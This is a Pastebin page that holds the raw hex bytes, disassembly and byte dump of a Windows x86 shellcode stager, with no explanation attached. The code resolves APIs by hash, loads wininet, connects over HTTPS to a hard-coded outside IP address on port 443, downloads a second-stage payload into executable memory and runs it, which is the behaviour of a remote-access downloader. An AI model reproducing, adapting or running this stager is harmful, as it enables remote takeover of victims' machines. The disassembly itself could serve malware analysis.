Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 db 53 53 53 53 53 68 3a 56 79 a7 ff d5 53 53 6a 03 53 53 68 bb 01 00 00 e8 4d 01 00 00 2f 77 45 62 42 55 6a 61 62 51 48 4b 44 69 6f 4b 4c 32 6a 42 68 72 67 74 44 37 71 54 37 36 57 6d 77 6c 55 47 63 69 58 36 4a 36 57 2d 37 6b 50 45 6c 52 54 54 4c 66 7a 69 7a 34 6b 56 53 37 44 6e 35 2d 46 4e 69 37 6c 64 68 79 74 64 64 52 57 5f 41 6c 78 73 48 48 42 52 6e 66 30 54 50 48 70 75 57 74 43 34 65 5f 77 67 64 79 4e 4a 64 46 42 4a 66 39 51 76 35 62 7a 5f 33 4b 38 4d 6d 4b 71 41 72 70 42 4c 68 46 4e 35 5a 75 38 63 79 58 53 59 77 58 31 65 79 4b 74 44 2d 75 69 44 5f 6e 2d 59 42 5a 55 33 59 39 4f 68 45 42 30 45 6e 5f 33 79 5f 6e 74 69 35 30 34 4f 6f 50 50 63 46 00 50 68 57 89 9f c6 ff d5 89 c6 53 68 00 32 e0 84 53 53 53 57 53 56 68 eb 55 2e 3b ff d5 96 6a 0a 5f 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 53 53 53 53 56 68 2d 06 18 7b ff d5 85 c0 75 14 68 88 13 00 00 68 44 f0 35 e0 ff d5 4f 75 cd e8 4a 00 00 00 6a 40 68 00 10 00 00 68 00 00 40 00 53 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cf 8b 07 01 c3 85 c0 75 e5 58 c3 5f e8 6b ff ff ff 31 36 35 2e 32 32 37 2e 37 38 2e 37 37 00 bb f0 b5 a2 56 6a 00 53 ff d5
- 0x00000000 fc cld
- 0x00000001 e882000000 call 0x00000088
- 0x00000006 60 pushad
- 0x00000007 89e5 mov ebp,esp
- 0x00000009 31c0 xor eax,eax
- 0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
- 0x0000000f 8b520c mov edx,dword [edx + 12]
- 0x00000012 8b5214 mov edx,dword [edx + 20]
- 0x00000015 8b7228 mov esi,dword [edx + 40]
- 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
- 0x0000001c 31ff xor edi,edi
- 0x0000001e ac lodsb
- 0x0000001f 3c61 cmp al,97
- 0x00000021 7c02 jl 0x00000025
- 0x00000023 2c20 sub al,32
- 0x00000025 c1cf0d ror edi,13
- 0x00000028 01c7 add edi,eax
- 0x0000002a e2f2 loop 0x0000001e
- 0x0000002c 52 push edx
- 0x0000002d 57 push edi
- 0x0000002e 8b5210 mov edx,dword [edx + 16]
- 0x00000031 8b4a3c mov ecx,dword [edx + 60]
- 0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
- 0x00000038 e348 jecxz 0x00000082
- 0x0000003a 01d1 add ecx,edx
- 0x0000003c 51 push ecx
- 0x0000003d 8b5920 mov ebx,dword [ecx + 32]
- 0x00000040 01d3 add ebx,edx
- 0x00000042 8b4918 mov ecx,dword [ecx + 24]
- 0x00000045 e33a jecxz 0x00000081
- 0x00000047 49 dec ecx
- 0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
- 0x0000004b 01d6 add esi,edx
- 0x0000004d 31ff xor edi,edi
- 0x0000004f ac lodsb
- 0x00000050 c1cf0d ror edi,13
- 0x00000053 01c7 add edi,eax
- 0x00000055 38e0 cmp al,ah
- 0x00000057 75f6 jnz 0x0000004f
- 0x00000059 037df8 add edi,dword [ebp - 8]
- 0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
- 0x0000005f 75e4 jnz 0x00000045
- 0x00000061 58 pop eax
- 0x00000062 8b5824 mov ebx,dword [eax + 36]
- 0x00000065 01d3 add ebx,edx
- 0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
- 0x0000006b 8b581c mov ebx,dword [eax + 28]
- 0x0000006e 01d3 add ebx,edx
- 0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
- 0x00000073 01d0 add eax,edx
- 0x00000075 89442424 mov dword [esp + 36],eax
- 0x00000079 5b pop ebx
- 0x0000007a 5b pop ebx
- 0x0000007b 61 popad
- 0x0000007c 59 pop ecx
- 0x0000007d 5a pop edx
- 0x0000007e 51 push ecx
- 0x0000007f ffe0 jmp eax
- 0x00000081 5f pop edi
- 0x00000082 5f pop edi
- 0x00000083 5a pop edx
- 0x00000084 8b12 mov edx,dword [edx]
- 0x00000086 eb8d jmp 0x00000015
- 0x00000088 5d pop ebp
- 0x00000089 686e657400 push 0x0074656e--> 'ten'
- 0x0000008e 6877696e69 push 0x696e6977--> 'iniw'
- 0x00000093 54 push esp
- 0x00000094 684c772607 push 0x0726774c--> '&wL'
- 0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
- 0x0000009b 31db xor ebx,ebx
- 0x0000009d 53 push ebx
- 0x0000009e 53 push ebx
- 0x0000009f 53 push ebx
- 0x000000a0 53 push ebx
- 0x000000a1 53 push ebx
- 0x000000a2 683a5679a7 push 0xa779563a--> 'yV:'
- 0x000000a7 ffd5 call ebp --> wininet.dll!InternetOpenA
- 0x000000a9 53 push ebx
- 0x000000aa 53 push ebx
- 0x000000ab 6a03 push 3
- 0x000000ad 53 push ebx
- 0x000000ae 53 push ebx
- 0x000000af 68bb010000 push 443
- 0x000000b4 e84d010000 call 0x00000206
- 0x000000b9 2f das
- 0x000000ba 7745 ja 0x00000101
- 0x000000bc 624255 bound eax,dword [edx + 85]
- 0x000000bf 6a61 push 97
- 0x000000c1 625148 bound edx,dword [ecx + 72]
- 0x000000c4 4b dec ebx
- 0x000000c5 44 inc esp
- 0x000000c6 696f4b4c326a42 imul ebp,dword [edi + 75],0x426a324c
- 0x000000cd 6872677444 push 0x44746772--> 'Dtgr'
- 0x000000d2 37 aaa
- 0x000000d3 7154 jno 0x00000129
- 0x000000d5 37 aaa
- 0x000000d6 3657 ss: push edi
- 0x000000d8 6d insd dword [esi],edx
- 0x000000d9 776c ja 0x00000147
- 0x000000db 55 push ebp
- 0x000000dc 47 inc edi
- 0x000000dd 636958 arpl word [ecx + 88],bp
- 0x000000e0 364a ss: dec edx
- 0x000000e2 3657 ss: push edi
- 0x000000e4 2d376b5045 sub eax,0x45506b37
- 0x000000e9 6c insb byte [esi],edx
- 0x000000ea 52 push edx
- 0x000000eb 54 push esp
- 0x000000ec 54 push esp
- 0x000000ed 4c dec esp
- 0x000000ee 667a69 jpe 0x0000015a
- 0x000000f1 7a34 jpe 0x00000127
- 0x000000f3 6b565337 imul edx,dword [esi + 83],55
- 0x000000f7 44 inc esp
- 0x000000f8 6e outsb edx,byte [esi]
- 0x000000f9 352d464e69 xor eax,0x694e462d
- 0x000000fe 37 aaa
- 0x000000ff 6c insb byte [esi],edx
- 0x00000100 646879746464 fs: push 0x64647479--> 'ddty'
- 0x00000106 52 push edx
- 0x00000107 57 push edi
- 0x00000108 5f pop edi
- 0x00000109 41 inc ecx
- 0x0000010a 6c insb byte [esi],edx
- 0x0000010b 7873 js 0x00000180
- 0x0000010d 48 dec eax
- 0x0000010e 48 dec eax
- 0x0000010f 42 inc edx
- 0x00000110 52 push edx
- 0x00000111 6e outsb edx,byte [esi]
- 0x00000112 6630545048 xor byte [eax + edx * 2 + 72],dl
- 0x00000117 7075 jo 0x0000018e
- 0x00000119 57 push edi
- 0x0000011a 7443 jz 0x0000015f
- 0x0000011c 3465 xor al,101
- 0x0000011e 5f pop edi
- 0x0000011f 7767 ja 0x00000188
- 0x00000121 64794e fs: jns 0x00000172
- 0x00000124 4a dec edx
- 0x00000125 6446 fs: inc esi
- 0x00000127 42 inc edx
- 0x00000128 4a dec edx
- 0x00000129 66395176 cmp word [ecx + 118],dx
- 0x0000012d 35627a5f33 xor eax,0x335f7a62
- 0x00000132 4b dec ebx
- 0x00000133 384d6d cmp byte [ebp + 109],cl
- 0x00000136 4b dec ebx
- 0x00000137 7141 jno 0x0000017a
- 0x00000139 7270 jc 0x000001ab
- 0x0000013b 42 inc edx
- 0x0000013c 4c dec esp
- 0x0000013d 68464e355a push 0x5a354e46--> 'Z5NF'
- 0x00000142 7538 jnz 0x0000017c
- 0x00000144 637958 arpl word [ecx + 88],di
- 0x00000147 53 push ebx
- 0x00000148 59 pop ecx
- 0x00000149 7758 ja 0x000001a3
- 0x0000014b 316579 xor dword [ebp + 121],esp
- 0x0000014e 4b dec ebx
- 0x0000014f 7444 jz 0x00000195
- 0x00000151 2d7569445f sub eax,0x5f446975
- 0x00000156 6e outsb edx,byte [esi]
- 0x00000157 2d59425a55 sub eax,0x555a4259
- 0x0000015c 335939 xor ebx,dword [ecx + 57]
- 0x0000015f 4f dec edi
- 0x00000160 6845423045 push 0x45304245--> 'E0BE'
- 0x00000165 6e outsb edx,byte [esi]
- 0x00000166 5f pop edi
- 0x00000167 33795f xor edi,dword [ecx + 95]
- 0x0000016a 6e outsb edx,byte [esi]
- 0x0000016b 7469 jz 0x000001d6
- 0x0000016d 3530344f6f xor eax,0x6f4f3430
- 0x00000172 50 push eax
- 0x00000173 50 push eax
- 0x00000174 634600 arpl word [esi],ax
- 0x00000177 50 push eax
- 0x00000178 6857899fc6 push 0xc69f8957
- 0x0000017d ffd5 call ebp --> wininet.dll!InternetConnectA
- 0x0000017f 89c6 mov esi,eax
- 0x00000181 53 push ebx
- 0x00000182 680032e084 push 0x84e03200
- 0x00000187 53 push ebx
- 0x00000188 53 push ebx
- 0x00000189 53 push ebx
- 0x0000018a 57 push edi
- 0x0000018b 53 push ebx
- 0x0000018c 56 push esi
- 0x0000018d 68eb552e3b push 0x3b2e55eb--> ';.U'
- 0x00000192 ffd5 call ebp --> wininet.dll!HttpOpenRequestA
- 0x00000194 96 xchg eax,esi
- 0x00000195 6a0a push 10
- 0x00000197 5f pop edi
- 0x00000198 6880330000 push 0x00003380
- 0x0000019d 89e0 mov eax,esp
- 0x0000019f 6a04 push 4
- 0x000001a1 50 push eax
- 0x000001a2 6a1f push 31
- 0x000001a4 56 push esi
- 0x000001a5 6875469e86 push 0x869e4675--> 'Fu'
- 0x000001aa ffd5 call ebp --> wininet.dll!InternetSetOptionA
- 0x000001ac 53 push ebx
- 0x000001ad 53 push ebx
- 0x000001ae 53 push ebx
- 0x000001af 53 push ebx
- 0x000001b0 56 push esi
- 0x000001b1 682d06187b push 0x7b18062d--> '{-'
- 0x000001b6 ffd5 call ebp --> wininet.dll!HttpSendRequestA
- 0x000001b8 85c0 test eax,eax
- 0x000001ba 7514 jnz 0x000001d0
- 0x000001bc 6888130000 push 0x00001388
- 0x000001c1 6844f035e0 push 0xe035f044--> '5D'
- 0x000001c6 ffd5 call ebp --> kernel32.dll!Sleep
- 0x000001c8 4f dec edi
- 0x000001c9 75cd jnz 0x00000198
- 0x000001cb e84a000000 call 0x0000021a
- 0x000001d0 6a40 push 64
- 0x000001d2 6800100000 push 4096
- 0x000001d7 6800004000 push 0x00400000
- 0x000001dc 53 push ebx
- 0x000001dd 6858a453e5 push 0xe553a458--> 'SX'
- 0x000001e2 ffd5 call ebp --> kernel32.dll!VirtualAlloc
- 0x000001e4 93 xchg eax,ebx
- 0x000001e5 53 push ebx
- 0x000001e6 53 push ebx
- 0x000001e7 89e7 mov edi,esp
- 0x000001e9 57 push edi
- 0x000001ea 6800200000 push 0x00002000
- 0x000001ef 53 push ebx
- 0x000001f0 56 push esi
- 0x000001f1 68129689e2 push 0xe2899612
- 0x000001f6 ffd5 call ebp --> wininet.dll!InternetReadFile
- 0x000001f8 85c0 test eax,eax
- 0x000001fa 74cf jz 0x000001cb
- 0x000001fc 8b07 mov eax,dword [edi]
- 0x000001fe 01c3 add ebx,eax
- 0x00000200 85c0 test eax,eax
- 0x00000202 75e5 jnz 0x000001e9
- 0x00000204 58 pop eax
- 0x00000205 c3 ret
- 0x00000206 5f pop edi
- 0x00000207 e86bffffff call 0x00000177
- 0x0000020c 3136 xor dword [esi],esi
- 0x0000020e 352e323237 xor eax,0x3732322e
- 0x00000213 2e37 cs: aaa
- 0x00000215 382e cmp byte [esi],ch
- 0x00000217 37 aaa
- 0x00000218 37 aaa
- 0x00000219 00bbf0b5a256 add byte [ebx + 1453503984],bh
- 0x0000021f 6a00 push 0
- 0x00000221 53 push ebx
- 0x00000222 ffd5 call ebp
- Byte Dump:
- ......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]hnet.hwiniThLw&...1.SSSSSh:Vy...SSj.SSh.....M.../wEbBUjabQHKDioKL2jBhrgtD7qT76WmwlUGciX6J6W-7kPElRTTLfziz4kVS7Dn5-FNi7ldhytddRW_AlxsHHBRnf0TPHpuWtC4e_wgdyNJdFBJf9Qv5bz_3K8MmKqArpBLhFN5Zu8cyXSYwX1eyKtD-uiD_n-YBZU3Y9OhEB0En_3y_nti504OoPPcF.PhW.......Sh.2..SSSWSVh.U.;...j_h.3....j.Pj.VhuF....SSSSVh-..{[email protected][email protected]._.k...165.227.78.77.....Vj.S..
Advertisement
Add Comment
Please, Sign In to add comment
